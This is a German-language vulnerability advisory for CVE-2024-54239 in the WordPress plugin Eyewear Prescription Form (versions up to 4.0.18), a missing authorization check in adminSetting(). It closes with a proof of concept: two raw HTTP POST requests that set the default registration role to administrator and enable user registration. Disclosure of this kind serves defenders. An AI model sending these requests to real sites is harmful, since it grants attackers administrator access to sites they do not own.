CVE-2024-54239

Brillen-Rezeptformular <= 4.0.18 – Fehlende Autorisierung führt zu nicht authentifizierter beliebiger Aktualisierung von Optionen

Beschreibung

Das Eyewear Prescription Form Plugin für WordPress ist anfällig für unbefugte Datenänderungen, die zu einer Privilegieneskalation führen können, da in allen Versionen bis einschließlich 4.0.18 eine Berechtigungsprüfung in der Funktion adminSetting() fehlt. Dies ermöglicht es nicht authentifizierten Angreifern, beliebige Optionen auf der WordPress-Seite zu aktualisieren. Dies kann genutzt werden, um die Standardrolle für die Registrierung auf Administrator zu setzen und die Benutzerregistrierung zu aktivieren, sodass Angreifer administrative Benutzerzugriffe auf eine verwundbare Website erhalten.

Details

• Typ: plugin
• Slug: eyewear-prescription-form
• Betroffene Version: 4.0.18
• CVSS-Punktzahl: 9.8
• CVSS-Bewertung: Kritisch
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-54239
• Status: Aktiv

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

action=adminSetting&data[settingCode]=default_role&data[settingValue]=administrator

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

action=adminSetting&data[settingCode]=users_can_register&data[settingValue]=1